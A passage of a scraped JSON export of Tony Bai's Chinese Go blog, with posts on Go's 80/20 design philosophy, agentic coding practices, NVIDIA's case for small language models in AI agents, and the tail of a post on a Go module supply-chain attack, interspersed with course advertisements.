赋能安全的前沿实践，更是一记警钟，提醒我们开源世界里没有绝对安全的乌托邦。\n作为 Gopher，我们享受着生态带来的红利，也应承担起守护生态的责任。保持警惕，拥抱工具，并积极参与社区讨论，共同推动我们的生态向着更安全、更健壮的未来演进。这或许就是这起攻击带给我们最深刻的启示。\n资料地址：https://about.gitlab.com/blog/gitlab-catches-mongodb-go-module-supply-chain-attack\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/07/go-module-supply-chain-attack-case/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-module-supply-chain-attack-case-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/07/go-module-supply-chain-attack-case\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/07/go-module-supply-chain-attack-case\"\u003ehttps://tonybai.com/2025/07/07/go-module-supply-chain-attack-case\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近，\u003ca href=\"https://about.gitlab.com/blog/gitlab-catches-mongodb-go-module-supply-chain-attack\"\u003eGitLab的安全研究团队披露了一起极其巧妙的供应链攻击\u003c/a\u003e，目标直指 Go 社区中一个流行的 \u003ca href=\"https://github.com/qiniu/qmgo\"\u003eMongoDB 模块\u003c/a\u003e。这个案例本身已经足够令人警醒，但如果我们拨开攻击手法的层层迷雾，会发现其背后暴露出的，可能是整个开源生态，包括我们所依赖的 Go Modules，一个根本性的、与生俱来的脆弱性。\u003c/p\u003e","title":"“先发布，后审核”：Go模块生态的阿喀琉斯之踵？"},{"content":"读懂Go的设计哲学：为什么说它是“恰到好处”的80/20语言？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n读懂Go的设计哲学：为什么说它是“恰到好处”的80/20语言？ 七月 5, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/07/05/go-is-8020-language\n大家好，我是Tony Bai。\n如果你写了一段时间的 Go，你可能会有一种独特的感觉。一方面，它简洁、高效、可靠；另一方面，你又会时常觉得它“缺少”了点什么——没有其他语言里那些功能强大、眼花缭乱的特性。\n有人因此热爱 Go，有人因此“憎恨” Go。但这种“爱”与“恨”的背后，其实都指向了 Go 语言一个最核心、也最常被误解的设计哲学。最近，一篇精彩的博文《Go is 80/20 language》用一个简单而强大的心智模型，完美地诠释了这一切。\n这个模型就是——Go 是一门“80/20”语言。\n它旨在用 20% 的复杂度，提供 80% 的实用功能。\n正如 Go 语言的创造者之一 Rob Pike 所言：“没人否认 87% 的功能比 80% 好，但问题是，那额外的 7% 功能，往往需要付出 36% 的额外工作。”\n这“额外的工作”，不仅是语言实现者的负担，更是我们每一个使用者的隐性成本。\nGo 的 80/20 设计实例 让我们通过几个具体的例子，来感受 Go 如何将“80/20 法则”贯彻到底。\n1. 并发：Goroutines vs. C#/Rust Async\nGo 的并发模型极其简单：一个 go 关键字，加上用于通信的 channel。相比于 C# 或 Rust 中复杂的 async/await 语法、函数“着色”问题、以及需要开发者精细控制的运行时，Go 的并发模型的功能点和“旋钮”要少得多。\n这正是 80/20 的体现。Goroutine 和 Channel 提供了 80% 最常用的并发场景解决方案，但其心智负担和实现复杂度，可能只有 async/await 的 20%。它放弃了那“额外 7%”的极致灵活性，换来的是绝大多数开发者都能轻松写对的并发程序。\n2. 测试：testing 标准库 vs. Java JUnit\nGo 的 testing 标准库只有几百行代码，数年间几乎没有大的变化。它提供了 t.Run, t.Error, b.N 等最核心的测试和基准测试功能。\n相比之下，Java 的 JUnit 框架，拥有数万行代码和永无止境的开发迭代，提供了无数便捷的注解和高级功能。但这些功能，真的是我们日常测试所必需的吗？\nGo 的 testing 库再次做出了 80/20 的选择：用 20% 的代码量和复杂度，满足了 80% 的测试需求，保持了核心库的稳定与简洁。\n3. 元编程：Struct Tags vs. Annotations/Macros\n有人抱怨 Go 的 Struct Tags 不如 Java 的注解或 Rust 的宏那么强大。是的，它的功能确实有限，只能附加简单的字符串元数据。\n但这恰恰是 80% 的场景所需要的：JSON/XML 的序列化、ORM 映射、配置校验。它用最简单、最直白的方式解决了核心问题，而没有引入宏所带来的编译时复杂性、调试噩梦和陡峭的学习曲线。\n4. 泛型：内建泛型先行\n当 Go 在 1.0 版本发布时，并没有提供用户自定义泛型。但它为最需要泛型的内建类型——arrays/slices, maps, channels——提供了泛型能力(基于interface{})。\n这个决策，是 Go 80/20 哲学最经典的体现。它在当时用最小的实现成本，解决了最痛的 80% 的问题，并让这个设计平稳地服务了 Go 社区超过十年。直到社区和语言本身都准备好了，才谨慎地引入了用户自定义泛型。\n警惕“功能跑步机”与“双重成本” 许多其他语言，如 C#, Swift, Rust，它们的目标是“100% 的设计，哪怕付出 400% 的成本”。它们似乎陷入了一场永无止境的“功能跑步机”竞赛，不断地增加新特性。\n博文作者一针见血地指出了“增加功能”背后，那常常被忽视的**“双重成本”**：\n1. 实现者成本\n每一个新功能，都会增加语言实现的复杂性。以 Swift 为例，尽管有苹果的无限预算和顶尖人才，其编译器在很长一段时间内都以慢、不稳定而闻名，跨平台能力也迟迟未能完善。这正是因为其设计的复杂性远超出了能够被完美实现的范畴。相比之下，Go 的简洁性保证了它从 1.0 版本开始，就拥有一个快速、稳定、全平台支持的编译器。\n2. 用户成本\n这是更巨大、更隐性的成本。对于我们开发者来说，学习一个新功能，绝不仅仅是学习它的语法。你需要：\n学习新的编程范式和设计模式。 学习在何种场景下应该使用它，以及更重要的，在何种场景下不应该使用它。 即使你决定不使用这个新功能，你的同事、你依赖的开源库也可能会用，你最终还是被迫要去理解它，整个生态的认知负荷都在上升。 功能丰富的语言，最终往往需要制定严格的编码规范来限制其使用。比如 Google 的 C++ Style Guide，其存在目的就是为了将一个“95% 功能”的语言，人为地降级到“90% 功能”的子集来使用，以保证大型团队的协作效率。这恰恰从反面证明了“少即是多”的智慧。\n小结：少即是多，一种克制的智慧 Go 的 80/20 哲学，并非是懒惰或能力不足，而是一种深思熟虑后的、极其克制的工程决策。它承认了复杂性的巨大代价，并选择把“简单”作为最高优先级。\n它为你提供了一套足够强大、但又不至于让你迷失的工具集。它相信，通过组合这些简单的工具，你足以构建出任何复杂的系统。\n所以，下一次当你感觉 Go “缺少”某个你习以为常的特性时，不妨换个角度思考：或许，这并非是 Go 的缺陷，而是它最宝贵的财富。\n资料地址：https://blog.kowalczyk.info/article/d-2025-06-26/go-is-8020-language.html\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/05/go-is-8020-language/","summary":"\u003ch1 id=\"读懂go的设计哲学为什么说它是恰到好处的8020语言---tony-bai\"\u003e读懂Go的设计哲学：为什么说它是“恰到好处”的80/20语言？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"读懂Go的设计哲学：为什么说它是“恰到好处”的80/20语言？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/05/agentic-coding-is-the-future\n大家好，我是Tony Bai。\n软件开发的范式正在经历一场深刻的变革。从 GitHub Copilot 的惊艳亮相，到各种IDE中集成的代码生成功能，我们已经习惯了 AI 在编码过程中的“自动补全”。但这仅仅是序幕。如今，一种更强大、更具颠覆性的模式正在兴起，它就是——Agentic Coding (智能体驱动编码)。\n最近，Flask 和 Jinja2 等知名开源项目的作者 Armin Ronacher 分享了他近几个月沉浸式体验 Agentic Coding 的感受。他认为，这开启了人机协作编程的新篇章，带来了前所未有的生产力飞跃。\nAgentic Coding 不再是简单的代码提示，而是开发者与 AI Agent 之间的实时协作 (real time collaboration)。它预示着软件开发的未来，一个我们都应该主动了解和拥抱的未来。\n超越“自动补全”：Agentic Coding 是什么？ 要理解 Agentic Coding 的变革性，首先要明白它与我们熟悉的“自动补全”工具的本质区别。如果说 Copilot 是你的“智能导航仪”，那么编码 Agent 就是你的“编程搭档”。它能够：\n理解和分解复杂任务： 将一个宏大的目标（如“为这个项目添加用户认证功能”）分解为一系列可执行的子任务。 自主使用工具链： 像人类开发者一样，运行编译器 (go build)、测试框架 (go test)、linter、formatter 等。 与开发环境深度交互： 直接创建、修改、删除文件；与 Git 进行交互；浏览文件系统。 基于反馈进行迭代： 当编译失败或测试不通过时，Agent 会阅读错误信息，理解问题所在，并尝试进行修复，形成一个“试错-反馈-修正”的闭环。 长时间、持续地工作： 甚至可以运行数小时来完成大型任务。 Agentic Coding 的核心，是将 LLM 的推理能力与实际的开发工具链和环境深度结合，使其从一个“代码片段生成器”进化为一个能够自主执行复杂编程任务的“智能体”。\n浪潮已至：Agentic Coding 为何在当下爆发？ Armin 认为，这场浪潮的兴起主要源于三个因素的共同作用：\n模型能力的突破： OpenAI o3 、Claude 4 Opus、Gemini 2.5 pro等最新一代模型，在“工具使用 (tool usage)”能力上取得了质的飞跃。 官方 Agent 的引领： Anthropic 的 claude-code 等官方 Agent 实现，为社区提供了最佳实践的范本。 更优的成本效益： 通过订阅服务使用 Agentic Coding，使得长时间、高强度的 Agent 运行在经济上变得可行。 如何高效拥抱 Agentic Coding：来自一线的实践指南 要驾驭好这位强大的“编程搭档”，并非易事。Armin 分享了大量宝贵的实践经验，总结起来，核心在于：构建一个“Agent 友好”的环境，并学会如何有效管理上下文。\n语言和代码库的选择：“简单”是 Agent 的朋友 简单的语言更受欢迎 Armin 发现，像 Go、PHP、基础 Python 这样的语言，对 Agent 更友好。它们的语法结构清晰，概念相对较少，使得 AI 更容易理解和生成代码。Go 语言的简洁性、强大的标准库和较少的生态系统变动，使其成为 Agentic Coding 的理想选择之一。\n生态系统稳定性很重要 生态系统变动越少的语言或框架，效果越好。\n代码库内部模式要统一 如果一个代码库中存在多种相互冲突的设计模式，Agent 会感到困惑。\n命名要清晰 长且独特的函数名能帮助 Agent 更好地理解和定位代码，避免不必要的代码重复。\n优化你的开发环境：为 Agent “铺路” 构建“Agent友好”的工具 你的工具在被误用时，应该明确报错并提供有用的错误信息，而不是静默失败。Armin 举例说，Rust 的测试框架在未选中任何测试时会报告“成功运行0个测试”，这就是一个反例。\n统一的、纯文本的日志系统 Agent 需要的是简单、清晰的文本日志来理解系统状态。将浏览器控制台日志、SQL 日志等统一输出到 Agent 可以访问的日志文件中，能极大地帮助它进行端到端的调试。\n为 Agent 提供“草稿空间” 在项目中明确告知 Agent 在哪里可以安全地创建和运行一次性的测试或探索性代码。\n上下文管理是关键：避免“信息过载”与“迷失方向” 审慎使用 MCP，拥抱命令行工具 作者发现，当前模型对命令行工具的理解和使用能力，远胜于对 MCP 的。Agent 可以轻松地将多个 CLI 工具组合进 Shell 脚本来完成复杂任务。\n主动提供摘要，避免 Agent “闲逛” 为 Agent 提供关键 API 或代码模块的摘要，或者构建一个工具来生成摘要，能极大地节省上下文并提高效率。\n避免在“混乱”的环境中启动 Agent 如果你的开发环境本身是坏的，Agent 会花费大量上下文去修复环境，而不是解决你真正想解决的问题。\n使用子任务分解复杂问题 将大任务分解为清晰的子任务，是管理复杂性和上下文的有效手段。\n拥抱前需理解的关键点：从挑战看发展方向 面对 Agentic Coding 的强大能力，一些开发者可能会有疑虑。我们不必将其视为障碍，而应看作是推动技术向更成熟阶段发展的方向。\n关于代码质量： Agentic Coding 对开发者的审查能力和架构判断力提出了更高的要求。我们的角色将更多地从“代码生产者”转变为“代码质量的最终负责人和架构师”。我们始终对合并到 main 分支的代码负责。 关于“幻觉”问题： 通过工具链（编译、测试、lint）形成的闭环反馈，Agentic Coding 正在有效地缓解“幻觉”问题。这也指明了未来 Agent 开发平台需要重点投入的方向——构建更健壮的验证和反馈机制。 关于不擅长特定语言： Agentic Coding 的发展将推动语言和生态系统向更“Agent 友好”的方向演进。正如 Armin 所说，Go 语言因其恰到好处的类型安全、广泛的标准库和推崇惯用法的文化，在这方面已展现出天然优势。 关于安全风险（YOLO 模式）： 当前重度用户为了最大化 Agent 能力而给予其完全系统权限的“YOLO 模式”，是一种早期探索阶段的高风险行为。未来，成熟的 Agentic Coding 平台必然会提供更安全、更可靠的权限管理和沙箱环境，这是该领域走向普及的必经之路。 注：YOLO 是 “You Only Live Once” (你只活一次) 的缩写。这个词最初流行于社交网络，表达的是一种活在当下、大胆尝试、不畏惧风险的人生态度。在技术领域，特别是 Armin Ronacher 在谈论 Agentic Coding 时使用的语境下，“YOLO 模式”特指一种大胆甚至有些“鲁莽”的使用方式，即给予 AI Agent 极高的、几乎不受限制的系统访问权限。\nGo 语言在 Agentic Coding 时代的独特机遇 在 Armin 的分享中，Go 语言被特别提及，并被认为是 Agentic Coding 的理想选择之一。这并非偶然，Go 的诸多特性使其在这场人机协作的新范式中占据了有利位置：\n简洁性与可预测性： Go 语言“简单为王”的设计哲学，使其语法结构清晰、概念少、没有复杂的隐式行为。这使得 AI Agent 能更容易地理解、分析和生成高质量的 Go 代码。 强大的工具链与高效的反馈闭环： Go 的快速编译、内置测试、静态检查等工具，为 Agent 提供了极其高效的“试错-反馈-修正”闭环。Armin 提到的 Go Test Caching 功能，能让 Agent 更智能地只运行受影响的测试，这是一个绝佳的例子。 并发与系统编程能力： Go 语言本身非常适合编写 Agent 所需的各种命令行工具、后端服务、以及处理并发任务的 CI/CD 流程。我们可以用 Go 来为 AI Agent 构建高效、可靠的“武器库”。 清晰的错误处理： Go 显式的 error 返回值机制，相比于异常，为 Agent 提供了更清晰、更可预测的错误处理路径。 小结：拥抱 Agentic Coding，就是拥抱软件开发的未来 Agentic Coding 正在开启一个软件开发的新篇章。它标志着我们与 AI 的关系，从简单的“主仆”（人命令，AI补全），演进为更深度的“伙伴”（人规划，AI协作执行）。\n这场变革要求我们主动进化。开发者需要将重心更多地从繁琐的代码实现，转移到复杂问题的分解、系统架构的设计、以及对 AI Agent 的精准引导和结果验证上。\n对于我们 Gopher 而言，这是一个激动人心的机遇。Go 语言的设计哲学和工程特性，使其在这场变革中具有天然的优势。与其对新范式感到疑虑或观望，不如主动去学习、实践，探索如何驾驭这位强大的“编程搭档”，让它成为我们提升自身能力、加速项目交付、并最终能专注于更有创造性工作的强大助力。\n技术的浪潮滚滚向前，拥抱 Agentic Coding，就是拥抱软件开发的未来。\n资料链接：https://www.youtube.com/watch?v=nfOVgz_omlU\n聊一聊，也帮个忙：\n你认为 Agentic Coding 将在哪些方面最先深刻地改变我们的日常开发工作？ Armin Ronacher 提出的这些实践技巧，哪一点你认为最重要，并计划在自己的工作中尝试？ 你认为 Go 语言为了更好地成为 Agentic Coding 时代的首选语言之一，社区或官方还可以在哪些方面发力？ 欢迎在评论区留下你的思考和经验。如果你觉得这篇文章为你描绘了软件开发的未来图景，也请转发给你身边的开发者朋友们，一起迎接 Agentic Coding 时代的到来！\n想与我进行更深入的 Go 语言、AI 赋能开发与技术趋势交流吗？ 欢迎加入我的**“Go \u0026amp; AI 精进营”知识星球**。\n[此处放置知识星球二维码]\n我们星球见！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/05/agentic-coding-is-the-future/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/agentic-coding-is-the-future-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/05/agentic-coding-is-the-future\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/05/agentic-coding-is-the-future\"\u003ehttps://tonybai.com/2025/07/05/agentic-coding-is-the-future\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e软件开发的范式正在经历一场深刻的变革。从 GitHub Copilot 的惊艳亮相，到各种IDE中集成的代码生成功能，我们已经习惯了 AI 在编码过程中的“自动补全”。但这仅仅是序幕。如今，一种更强大、更具颠覆性的模式正在兴起，它就是——\u003cstrong\u003eAgentic Coding (智能体驱动编码)\u003c/strong\u003e。\u003c/p\u003e","title":"拥抱Agentic Coding：软件开发的未来"},{"content":"NVIDIA 的颠覆性观点：AI Agent 的未来，属于小模型 (SLM) - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nNVIDIA 的颠覆性观点：AI Agent 的未来，属于小模型 (SLM) 七月 4, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/07/04/slm-is-the-future-of-agentic-ai\n大家好，我是Tony Bai。\n在 AI 的世界里，“越大越好”似乎已经成为一种颠扑不破的信仰。我们见证了参数量从数十亿飙升至万亿，也习惯了将最强大的通用大语言模型（LLM）视为驱动一切 AI 应用的核心引擎。\n然而，就在这股追逐“巨无霸”模型的浪潮之巅，全球 AI 硬件的领导者 NVIDIA，其研究部门却发表了一篇重磅论文，提出了一个看似反直觉，却可能重塑行业的颠覆性观点：\nAI Agent 的未来，不属于大模型，而属于小模型 (Small Language Models, SLM)。\n这不仅仅是一次技术路线的争鸣，更可能预示着 AI Agent 领域一次深刻的架构范式革命。\n现状：“大模型单体”的困境 首先，让我们看看当前大多数 AI Agent 的工作模式：它们的核心通常依赖于对少数几个通用 LLM（如 GPT-o3、Claude 4、gemini 2.5 pro 等）的 API 调用。这个 LLM 就像一个无所不能的大脑，负责理解用户意图、进行推理、调用工具、生成代码等所有智能任务。\n这种架构虽然在初期能快速验证想法，但其弊端也日益凸显：\n成本高昂： 每一次 API 调用都在燃烧真金白银。\n延迟不可控： 依赖中心化的云服务，难以满足实时性要求。\n功能浪费： 大多数 Agent 子任务（如格式转换、意图识别）其实非常简单、重复，用一个“通才” LLM 去做，无异于“杀鸡用牛刀”。\n这种过度依赖单一、强大、通用模型的模式，与软件工程发展史上我们早已熟悉的“单体应用 (Monolith)”何其相似！\nNVIDIA 的三大核心论据：为什么是 SLM？ NVIDIA 的论文从三个维度，系统性地论证了为什么 SLM 才是 AI Agent 的未来。\n1. SLM 已足够强大\n“小模型性能不行”早已是过时的观念。论文引用了大量最新研究（如 Microsoft 的 Phi 系列、NVIDIA 自家的 Nemotron-H 等）证明，现代的、经过精心设计的 SLM，在推理、代码生成、指令遵循等 Agent 关键能力上，已经可以媲美甚至超越比它们大几十上百倍的 LLM。“小”不再意味着“弱”。\n2. SLM 天然更适合\nAI Agent 的大部分内部工作流，并非开放式的聊天，而是范围狭窄、格式严格的机器间交互。比如，将用户请求转换为一个 JSON 格式的 API 调用。对于这类任务，SLM 的优势是压倒性的：\n高效可预测： 低延迟、低资源消耗。\n行为对齐更容易： 更容易通过微调，让其严格遵守特定的输出格式，减少“幻觉”。\n通用 LLM 的广博知识和对话能力，在这些场景下反而成了不必要的累赘。\n3. SLM 必然更经济\n这是最致命的一击。论文指出，一个 7B 参数的 SLM，其推理成本（在延迟、能耗、算力上）通常比 70B-175B 的 LLM 便宜 10 到 30 倍！不仅如此，SLM 的微调也极其敏捷，可以在几小时内完成，而不是 LLM 所需的数周。这种经济性和灵活性，使得在边缘设备上部署、快速迭代和大规模应用成为可能。\n新架构范式：从“大模型单体”到“小模型微服务” 如果接受了 SLM 的巨大优势，那么一个全新的、更优雅的 AI Agent 架构就浮出水面了。这正是我们从“架构角度”想要阐述的，我们可以将其类比为软件工程中从“单体”到“微服务”的伟大演进。\n告别“万能”的大模型，拥抱“乐高式”的 AI Agent 新架构：\n在这个新范式中，一个复杂的 AI Agent 不再由一个“全能大脑”驱动，而是由一个异构模型系统 (Heterogeneous System) 协同工作：\n专家 SLM (Expert SLMs) -\u0026gt; 专职微服务： 每一个 SLM 都被微调成一个特定领域的专家，负责一项高度专一的任务。比如：\n* `SLM_Intent_Classifier`：专门负责解析用户意图。 * `SLM_Code_Generator`：专门负责生成特定语言和格式的代码片段。 * `SLM_JSON_Extractor`：专门负责从非结构化文本中提取 JSON 数据。 这些“模型微服务”小巧、高效、可独立部署和迭代。\n通用 LLM (Generalist LLM) -\u0026gt; API 网关 / 服务编排器： 昂贵而强大的 LLM 不再处理所有请求，而是被用在刀刃上。它扮演两个关键角色：\n* 用户入口：处理最前端的、开放域的自然语言对话。 * 复杂任务调度员：当遇到需要跨领域通用知识或复杂推理的罕见任务时，才被调用。 Agent 控制器 (Controller) -\u0026gt; 智能路由： Agent 的核心逻辑现在变成了一个轻量级的控制器，它的主要职责是根据任务类型，将请求精准地路由到最合适的“模型服务”（某个 SLM 或 LLM）上。\n这种“模型即服务”、“模型即组件”的架构，其优势显而易见：\n灵活性与组合性： 像搭乐高一样，按需组合不同的专家 SLM，构建功能强大的 Agent。 成本效益： 绝大多数请求由廉价的 SLM 处理，整体运营成本急剧下降。 高可用与容错： 单个 SLM 服务出现问题，不影响整个 Agent 的其他功能。 快速迭代： 可以快速地为某个新功能训练一个新的 SLM，并将其作为新服务加入系统，而无需改动庞大的主体。 结论：未来已来，Agent 的进化之路 NVIDIA 的这篇论文，为我们描绘了一幅清晰的未来图景：AI Agent 的发展，将遵循软件工程的经典演进规律，从笨重、昂贵的“大模型单体”，走向灵活、高效、经济的“小模型微服务”架构。\n这标志着 AI 工程化正在从“炼金术”般的模型崇拜，转向更成熟、更可持续的系统设计思维。 未来的核心竞争力，或许不再是谁能调用最强的 LLM，而是谁能更高效地编排一个由众多专家 SLM 组成的“模型军团”。\n对于所有 AI 领域的从业者来说，这不仅是一个需要关注的技术趋势，更是一次思维模式的升级。是时候重新审视我们对“智能”的定义，开始构建真正“小而美”的未来了。\n论文地址：https://arxiv.org/abs/2506.02153\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/04/slm-is-the-future-of-agentic-ai/","summary":"\u003ch1 id=\"nvidia-的颠覆性观点ai-agent-的未来属于小模型-slm---tony-bai\"\u003eNVIDIA 的颠覆性观点：AI Agent 的未来，属于小模型 (SLM) - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"NVIDIA 的颠覆性观点：AI Agent 的未来，属于小模型 (SLM)"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/04/everything-i-did-to-become-an-expert-in-golang\n大家好，我是Tony Bai。\n你是否也有过这样的时刻？\n你已经用 Go 写了不少代码，项目也能跑起来，但内心深处总有一种挥之不去的“别扭感”。你写的 Go 代码，看起来更像是“带有 Go 语法的 Java/Python”，充斥着你从旧语言带来的思维习惯。代码或许能工作，但它不优雅，不简洁，总感觉“不对劲”。\n最近，Twitch 的一位资深机器学习工程师 Melkey 分享了他从 Go 小白成长为生产级系统开发者的心路历程。他的故事，完美地诠释了如何突破这个瓶颈，完成从“会写”到“写好”Go 的关键一跃。\n在这篇文章中，我们就来解读一下这位工程师的Go专家之路，看看从中可以借鉴到哪些有意义的方法。\n从“被迫营业”到“感觉不对”的困境 和许多人一样，Melkey 开始学习 Go 并非出于热爱，而是因为工作的“逼迫”。2021年，当他以初级工程师的身份加入 Twitch 时，他还是一个习惯于用 Python 写脚本的“简单小子”，对 Go 一无所知。为了保住这份改变人生的工作，他别无选择，只能硬着头皮学下去。\n很快，他熟悉了指针、静态类型和 Go 的基本语法。但问题也随之而来：他感觉自己的 Go 水平停滞不前，写出的代码“干巴巴的”，缺乏神韵。 他只是在完成任务，却丝毫没有感受到这门语言的魅力，更谈不上建立起真正的理解和喜爱。\n这正是许多 Gopher，尤其是从其他语言转来的开发者，都会遇到的困境：我们只是在用 Go 的语法，实现其他语言的逻辑。 我们还没有真正进入 Go 的世界。\n“顿悟”时刻：《Effective Go》带来的思维重塑 改变发生在 Melkey 偶然读到 Go 官方文档中的一篇文章——《Effective Go》 的那一刻。这篇文章里的几段话，像一道闪电，瞬间击穿了他的迷茫：\n“A straightforward translation of a C++ or Java program into Go is unlikely to produce a satisfactory result—Java programs are written in Java, not Go.\nIn other words, to write Go well, it’s important to understand its properties and idioms. It’s also important to know the established conventions for programming in Go… so that programs you write will be easy for other Go programmers to understand.”\n这段话的核心思想振聋发聩：将 C++ 或 Java 程序直接翻译成 Go，不可能得到令人满意的结果。要想写好 